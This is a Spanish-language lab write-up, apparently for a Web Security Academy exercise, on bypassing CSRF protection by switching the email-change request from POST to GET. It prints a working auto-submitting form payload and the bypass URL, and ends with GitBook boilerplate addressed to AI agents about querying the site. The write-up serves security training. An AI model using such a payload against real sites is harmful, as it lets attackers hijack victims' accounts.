> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/csrf-token-validation-depends-on-http-method.md).

# CSRF con validación de token basada en el método HTTP

### CSRF cuando la validación del token depende del método de la solicitud

#### Contexto del laboratorio

La función de cambio de correo electrónico es vulnerable a un ataque CSRF. Hay una defensa presente, pero solo se aplica a ciertos tipos de solicitudes. Objetivo: alojar una página en el servidor de explotación que obligue a la víctima a cambiar su dirección de correo electrónico. / Credenciales proporcionadas para las pruebas: `wiener:peter`.

#### Hallazgo

* Se comprueba un token CSRF para **POST** solicitudes.

<figure><img src="/files/10bc171b64164f2e7ecbf16de1b644fd2a1efebd" alt=""><figcaption></figcaption></figure>

* La misma acción se acepta en **GET** \*\*n
* Punto afectado: `/my-account/change-email`.

<figure><img src="/files/1759a7d141ed979e1259517047b526037445fa28" alt=""><figcaption></figcaption></figure>

Alojando en el servidor una página que envía automáticamente una **GET** consulta al endpoint de cambio de correo electrónico:

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

La siguiente URL ilustra el bypass (no se requiere token en GET)

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="/files/28d55ae2069908d88bb41c7051d7e9fff0bd723d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/csrf/csrf-token-validation-depends-on-http-method.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.